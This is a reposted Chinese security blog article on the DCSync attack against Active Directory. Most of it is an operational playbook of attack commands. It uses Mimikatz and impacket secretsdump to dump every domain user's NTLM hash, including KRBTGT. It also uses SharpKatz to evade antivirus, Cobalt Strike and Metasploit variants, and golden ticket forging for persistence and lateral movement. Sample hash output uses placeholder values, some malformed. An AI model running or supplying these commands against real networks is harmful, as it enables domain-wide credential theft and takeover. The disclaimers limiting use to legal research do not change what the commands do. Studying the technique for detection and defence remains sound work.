Dcsync-域渗透

admin 2026-04-23 04:45:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析DCSync攻击技术,该技术利用ActiveDirectory域服务的DRSAPI接口模拟域控制器身份,直接导出域内所有用户NTLM哈希(包括KRBTGT账户)。文档提供Mimikatz、Impacket、SharpKatz及CobaltStrike等工具的实战命令,涵盖黄金票据生成、横向移动等内网渗透全流程,同时强调该技术仅限合法安全研究使用。 综合评分: 85 文章分类: 内网渗透,红队,漏洞分析,实战经验,安全工具


cover_image

Dcsync-域渗透

原创

Nulltype Nulltype

LHACK安全

2026年4月22日 10:01 北京

在小说阅读器读本章

去阅读

免责申明

本文内容仅用于信息安全防御技术的学习与研究,旨在提升安全意识与防护能力。请读者严格遵守《中华人民共和国网络安全法》等相关法律法规,严禁将本文所涉技术用于任何非法用途。因擅自使用本文内容而引发的一切法律责任,由使用者自行承担,作者不负任何责任。

一句话理解

DCSync 是一种利用微软 Active Directory 域服务原生复制机制的攻击技术,攻击者通过模拟域控制器身份,向目标域控制器请求复制目录数据,借助 DRSAPI 接口的合法特性,无需落地文件即可直接导出域内所有用户的 NTLM 密码哈希,包括 KRBTGT 账号哈希,是内网渗透中获取完整域凭证、实现横向移动与权限持久化的核心手段之一。

实战场景

场景:已拿到域内任意一台机器权限

攻击路径:普通用户 → 本地提权 → 域管权限 → DCSync → 导出所有哈希

方法一:Mimikatz DCSync

已获得以下任一权限:

  • 域管理员账号密码
  • 域管理员 NTLM 哈希
  • 企业管理员权限
  • 具有 DCSync 权限的账户

实战命令

# 1. 提权到 SYSTEMmimikatz.exe "privilege::debug" "exit"
# 2. Pass-the-Hash 到域管账户mimikatz.exe "sekurlsa::pth /user:administrator /domain:target.com /ntlm:31d6cfe41d34ae648357b0f2a4ffd123" "exit"
# 3. 执行 DCSync - 最常用mimikatz.exe "lsadump::dcsync /domain:target.com /user:krbtgt" "exit"# 输出 KRBTGT 哈希,用于黄金票据
# 4. 导出所有域用户哈希mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit"
# 5. 只导出特定用户mimikatz.exe "lsadump::dcsync /domain:target.com /user:administrator" "exit"
# 6. 指定域控制器(当前机不在域内)mimikatz.exe "lsadump::dcsync /domain:target.com /dc:dc01.target.com /user:krbtgt" "exit"

实战输出示例

mimikatz.exe "lsadump::dcsync /domain:target.com /user:krbtgt" "exit"
Domain : target.comServiceKey : 3f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5
* User account  Username : krbtgt  NTLM     : 8f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5  SID      : S-1-5-21-1234567890-1234567890-1234567890-502

方法二:impacket-secretsdump.py(Linux 下首选)

安装

git clone https://github.com/fortra/impacket.gitcd impacketpip install .

实战命令

# 1. 使用密码认证python3 secretsdump.py -just-dc target.com/administrator:P@[email protected]
# 2. 使用 NTLM 哈希认证(最常用)python3 secretsdump.py -just-dc -hashes :31d6cfe41d34ae648357b0f2a4ffd123 target.com/[email protected]
# 3. 导出所有哈希到文件python3 secretsdump.py -just-dc target.com/administrator:P@[email protected] > domain_hashes.txt
# 4. 导出历史密码哈希(有些用户改过密码,旧密码可能还能用)python3 secretsdump.py -just-dc -history target.com/administrator:P@[email protected]
# 5. 只导出 NTDS.dit(不导出本地 SAM)python3 secretsdump.py -just-dc -ntds target.com/administrator:P@[email protected]
# 6. 使用 Kerberos 认证(票据传递)python3 secretsdump.py -just-dc -k target.com/[email protected]
# 7. 指定域控制器地址(IP 解析问题)python3 secretsdump.py -just-dc target.com/administrator:P@[email protected]
# 8. 从远程导出(当前机不在域内,远程导出)python3 secretsdump.py -just-dc target.com/administrator:P@[email protected] -output-file hashes.ntds实战输出示例

实战输出示例

$ python3 secretsdump.py -just-dc -hashes :31d6cfe41d34ae648357b0f2a4ffd123 target.com/[email protected]
Impacket v0.12.0 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Target system fully qualified domain name: target.com[*] Target system hostname: DC01[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe41d34ae648357b0f2a4ffd123:::Guest:501:aad3b435b51404eeaad3b435b51404ee:a87fba11a7b2c3d4e5f6a7b8c9d0e1f:::KRBTGT:502:aad3b435b51404eeaad3b435b51404ee:8f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5:::sql_service:1103:aad3b435b51404eeaad3b435b51404ee:b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6:::

方法三:SharpKatz(免杀执行)

# 编译版本,绕过杀软SharpKatz.exe --Command "lsadump::dcsync /domain:target.com /user:krbtgt"
# 或使用 SharpDPAPISharpDPAPI.exe dcsync /user:krbtgt /domain:target.com

方法四:通过 Cobalt Strike / MSF

Cobalt Strike

# 上传 mimikatz 到目标bofupload mimikatz.x64.exe
# 执行 DCSyncmimikatz dcsync target.com krbtgt
# 或使用 BOF(更隐蔽)dcsync target.com

Metasploit

# 使用 kiwi 模块use post/windows/gather/credentials/mimikatz/cachedumpset SESSION 1run
# 或直接执行命令mimikatz_command = "lsadump::dcsync /domain:target.com /user:krbtgt"cmd_exec("mimikatz.exe \"#{mimikatz_command}\"")

完整流程

流程一:从外网打到域控

# 1. 信息收集 → 发现域控地址nslookup -type=srv _ldap._tcp.dc._msdcs.target.com
# 2. 拿到域管账号密码(可信息收集,可尝试ADCS等操作)
# 3. 用 secretsdump 导出所有哈希python3 secretsdump.py -just-dc target.com/admin:P@[email protected] > all_hashes.txt
# 4 . 继续横向利用 寻找运维机器或者重要机器

流程二:黄金票据持久化

# 1. DCSync 拿到 KRBTGT 哈希mimikatz "lsadump::dcsync /domain:target.com /user:krbtgt" "exit"# KRBTGT NTLM: 8f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5
# 2. 获取域 SIDmimikatz "lsadump::lsa /patch" "exit"# Domain SID: S-1-5-21-1234567890-1234567890-1234567890
# 3. 生成黄金票据(伪造任意用户)mimikatz "kerberos::golden /user:admin /domain:target.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:8f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5 /ptt" "exit"
# 4. 导入票据后访问域内资源dir \\dc01\c$psexec \\dc01 cmd.exeevil-winrm -i dc01 -u administrator

Q1: 提示 “Access Denied”

原因:当前账户没有 DCSync 权限解决:  1. 确认账户在 Domain Admins 或 Enterprise Admins 组  2. 检查是否被防火墙阻止  3. 尝试使用 -just-dc 参数

Q2: secretsdump 报错 “SessionError”

原因:密码错误或账户被锁定解决:  1. 确认账户未被锁定 2. 使用哈希认证:-hashes :nthash  3. 检查网络连通性

Q3: 导出哈希后无法 Pass-the-Hash

原因:导出的是 LM:NTLM 格式,LM 为空时要用 :nthash解决:  正确格式::31d6cfe41d34ae648357b0f2a4ffd123  冒号前面是空的,表示 LM 哈希为空

交流群

LHACK 安全技术交流群正式成立啦!

欢迎各位网安师傅进群交流、共同学习,一起探讨漏洞技术、实战经验、工具分享与行业前沿动态,营造良好的技术交流氛围。文末附群聊二维码,若二维码过期可直接私信公众号后台加我,获取最新进群方式。期待更多师傅一起交流技术、共同进步!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:LHACK安全 Nulltype Nulltype《Dcsync-域渗透》

Dcsync-域渗透 网络安全文章

Dcsync-域渗透

文章总结: 本文详细解析DCSync攻击技术,该技术利用ActiveDirectory域服务的DRSAPI接口模拟域控制器身份,直接导出域内所有用户NTLM哈希
评论:0   参与:  0